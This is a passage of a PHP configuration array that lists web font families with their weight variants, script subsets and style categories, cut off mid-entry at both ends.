'900italic'), 'subsets' => array('cherokee', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Flavors' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Bungee Outline' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Dr Sugiyama' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Whisper' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Zen Tokyo Zoo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'BioRhyme Expanded' => array( 'variants' => array('200', '300', '400', '700', '800'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'serif' ), 'Ysabeau' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Trochut' => array( 'variants' => array('400', 'italic', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Rubik Wet Paint' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'IM Fell French Canon SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'IBM Plex Sans Hebrew' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Charis SIL' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Siemreap' => array( 'variants' => array('400'), 'subsets' => array('khmer'), 'category' => 'display' ), 'Solitreo' => array( 'variants' => array('400'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'handwriting' ), 'Amiri Quran' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin'), 'category' => 'serif' ), 'Rubik Bubbles' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Math' => array( 'variants' => array('400'), 'subsets' => array('math'), 'category' => 'sans-serif' ), 'Single Day' => array( 'variants' => array('400'), 'subsets' => array('korean'), 'category' => 'display' ), 'Noto Sans Gujarati' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Texturina' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Metal' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Barriecito' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Sans Ethiopic' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('ethiopic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Nandinagari' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'nandinagari'), 'category' => 'sans-serif' ), 'Asset' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'The Nautigal' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Finlandica' => array( 'variants' => array('400', '500', '600', '700', 'italic', '500italic', '600italic', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Kumar One Outline' => array( 'variants' => array('400'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'display' ), 'Miss Fajardose' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Almendra Display' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Bassa Vah' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('bassa-vah', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Vibes' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin'), 'category' => 'display' ), 'Praise' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Water Brush' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Preahvihear' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'sans-serif' ), 'Butterfly Kids' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Sunshiney' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Butcherman' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Limbu' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'limbu'), 'category' => 'sans-serif' ), 'Taprom' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Bokor' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Tilt Neon' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Tiro Devanagari Sanskrit' => array( 'variants' => array('400', 'italic'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Braah One' => array( 'variants' => array('400'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Darumadrop One' => array( 'variants' => array('400'), 'subsets' => array('japanese', 'latin', 'latin-ext'), 'category' => 'display' ), 'Gupter' => array( 'variants' => array('400', '500', '700'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Lexend Tera' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Langar' => array( 'variants' => array('400'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Georgian' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('georgian', 'latin', 'latin-ext'), 'category' => 'serif' ), 'GFS Neohellenic' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('greek'), 'category' => 'sans-serif' ), 'Mr Bedfort' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'handwriting' ), 'Lavishly Yours' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Bruno Ace SC' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Ruge Boogie' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Labrada' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Rubik Glitch' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Imperial Script' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Astloch' => array( 'variants' => array('400', '700'), 'subsets' => array('latin'), 'category' => 'display' ), 'Carlito' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Sassy Frass' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Federant' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Nova Oval' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Neonderthaw' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Fruktur' => array( 'variants' => array('400', 'italic'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Babylonica' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Lacquer' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Gwendolyn' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Fasthand' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Mynerve' => array( 'variants' => array('400'), 'subsets' => array('greek', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'IM Fell Double Pica SC' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'serif' ), 'Rubik Beastly' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Sofadi One' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Snowburst One' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Miltonian' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Nabla' => array( 'variants' => array('400'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'math', 'vietnamese'), 'category' => 'display' ), 'Fuggles' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Libre Barcode 39 Extended' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Noto Serif Khmer' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('khmer', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Serif Gujarati' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('gujarati', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Sans Nushu' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'nushu'), 'category' => 'sans-serif' ), 'Edu NSW ACT Foundation' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Ballet' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Mea Culpa' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Bonheur Royale' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Serif Sinhala' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'sinhala'), 'category' => 'serif' ), 'Foldit' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Blaka Hollow' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Nova Cut' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Truculenta' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Lexend Peta' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans Samaritan' => array( 'variants' => array('400'), 'subsets' => array('samaritan'), 'category' => 'sans-serif' ), 'Comme' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Alumni Sans Inline One' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Schibsted Grotesk' => array( 'variants' => array('400', '500', '600', '700', '800', '900', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Rubik Distressed' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Chenla' => array( 'variants' => array('400'), 'subsets' => array('khmer'), 'category' => 'display' ), 'Bruno Ace' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Nova Script' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Edu TAS Beginner' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Suravaram' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'serif' ), 'Koh Santepheap' => array( 'variants' => array('100', '300', '400', '700', '900'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Libre Barcode EAN13 Text' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Londrina Sketch' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Kenia' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Hanalei' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Nag Mundari' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'nag-mundari'), 'category' => 'sans-serif' ), 'Caramel' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Anek Gurmukhi' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Petemoss' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Hubballi' => array( 'variants' => array('400'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Music' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'music'), 'category' => 'sans-serif' ), 'Noto Sans Thai Looped' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'thai'), 'category' => 'sans-serif' ), 'Big Shoulders Inline Text' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Gentium Book Plus' => array( 'variants' => array('400', 'italic', '700', '700italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'greek-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Pathway Extreme' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Sans Gurmukhi' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('gurmukhi', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Gideon Roman' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Syne Tactile' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif HK' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('chinese-hongkong', 'cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'serif' ), 'Geostar' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Konkhmer Sleokchher' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin', 'latin-ext'), 'category' => 'display' ), 'Moulpali' => array( 'variants' => array('400'), 'subsets' => array('khmer', 'latin'), 'category' => 'display' ), 'Castoro Titling' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Edu VIC WA NT Beginner' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Climate Crisis' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Big Shoulders Inline Display' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Rubik 80s Fade' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Bonbon' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Aref Ruqaa Ink' => array( 'variants' => array('400', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Updock' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Blaka' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Javanese' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('javanese', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Tai Heritage Pro' => array( 'variants' => array('400', '700'), 'subsets' => array('latin', 'latin-ext', 'tai-viet', 'vietnamese'), 'category' => 'serif' ), 'Sevillana' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Anek Odia' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('latin', 'latin-ext', 'oriya'), 'category' => 'sans-serif' ), 'Uchen' => array( 'variants' => array('400'), 'subsets' => array('latin', 'tibetan'), 'category' => 'serif' ), 'Dhurjati' => array( 'variants' => array('400'), 'subsets' => array('latin', 'telugu'), 'category' => 'sans-serif' ), 'Phudu' => array( 'variants' => array('300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Fleur De Leah' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Redacted' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Miltonian Tattoo' => array( 'variants' => array('400'), 'subsets' => array('latin'), 'category' => 'display' ), 'Vina Sans' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Marhey' => array( 'variants' => array('300', '400', '500', '600', '700'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Zen Loop' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Tamil' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'serif' ), 'Tourney' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900', '100italic', '200italic', '300italic', 'italic', '500italic', '600italic', '700italic', '800italic', '900italic'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Alumni Sans Pinstripe' => array( 'variants' => array('400', 'italic'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Noto Serif Tangut' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'tangut'), 'category' => 'serif' ), 'Martian Mono' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'latin', 'latin-ext'), 'category' => 'monospace' ), 'Noto Sans Syloti Nagri' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'syloti-nagri'), 'category' => 'sans-serif' ), 'Tiro Devanagari Marathi' => array( 'variants' => array('400', 'italic'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Rubik Vinyl' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Edu SA Beginner' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Yuji Boku' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Island Moments' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Oi' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'greek', 'latin', 'latin-ext', 'tamil', 'vietnamese'), 'category' => 'display' ), 'Rubik Pixels' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Rubik Spray Paint' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Tibetan' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'tibetan'), 'category' => 'serif' ), 'Grechen Fuemen' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Anek Kannada' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800'), 'subsets' => array('kannada', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Yuji Mai' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'japanese', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Sans Adlam' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('adlam', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Rubik Iso' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Love Light' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Alumni Sans Collegiate One' => array( 'variants' => array('400', 'italic'), 'subsets' => array('cyrillic', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Splash' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Luxurious Roman' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Noto Sans Coptic' => array( 'variants' => array('400'), 'subsets' => array('coptic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Warnes' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Tiro Telugu' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'serif' ), 'Noto Sans Tangsa' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'tangsa'), 'category' => 'sans-serif' ), 'Tapestry' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Serif Khojki' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('khojki', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Send Flowers' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Adlam Unjoined' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('adlam', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Bungee Spice' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Kolker Brush' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Cherokee' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('cherokee', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Sans Osage' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'osage'), 'category' => 'sans-serif' ), 'Edu QLD Beginner' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin'), 'category' => 'handwriting' ), 'Redacted Script' => array( 'variants' => array('300', '400', '700'), 'subsets' => array('latin', 'latin-ext'), 'category' => 'display' ), 'Noto Serif Ethiopic' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('ethiopic', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Noto Rashi Hebrew' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('hebrew', 'latin', 'latin-ext'), 'category' => 'serif' ), 'Tiro Tamil' => array( 'variants' => array('400', 'italic'), 'subsets' => array('latin', 'latin-ext', 'tamil'), 'category' => 'serif' ), 'Noto Serif Toto' => array( 'variants' => array('400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'toto'), 'category' => 'serif' ), 'Rubik Storm' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Cairo Play' => array( 'variants' => array('200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Noto Serif Telugu' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'telugu'), 'category' => 'serif' ), 'Noto Sans Thaana' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('latin', 'latin-ext', 'thaana'), 'category' => 'sans-serif' ), 'Rubik Microbe' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'Twinkle Star' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Are You Serious' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Kings' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Cypriot' => array( 'variants' => array('400'), 'subsets' => array('cypriot'), 'category' => 'sans-serif' ), 'Rubik Gemstones' => array( 'variants' => array('400'), 'subsets' => array('cyrillic', 'cyrillic-ext', 'hebrew', 'latin', 'latin-ext'), 'category' => 'display' ), 'M PLUS Code Latin' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'sans-serif' ), 'Gajraj One' => array( 'variants' => array('400'), 'subsets' => array('devanagari', 'latin', 'latin-ext'), 'category' => 'display' ), 'Noto Sans Lao Looped' => array( 'variants' => array('100', '200', '300', '400', '500', '600', '700', '800', '900'), 'subsets' => array('lao', 'latin', 'latin-ext'), 'category' => 'sans-serif' ), 'Estonia' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Explora' => array( 'variants' => array('400'), 'subsets' => array('cherokee', 'latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Grey Qo' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Old Italic' => array( 'variants' => array('400'), 'subsets' => array('old-italic'), 'category' => 'sans-serif' ), 'Moo Lah Lah' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'My Soul' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Tilt Prism' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'display' ), 'Blaka Ink' => array( 'variants' => array('400'), 'subsets' => array('arabic', 'latin', 'latin-ext'), 'category' => 'display' ), 'Puppies Play' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Cherish' => array( 'variants' => array('400'), 'subsets' => array('latin', 'latin-ext', 'vietnamese'), 'category' => 'handwriting' ), 'Noto Sans Meetei 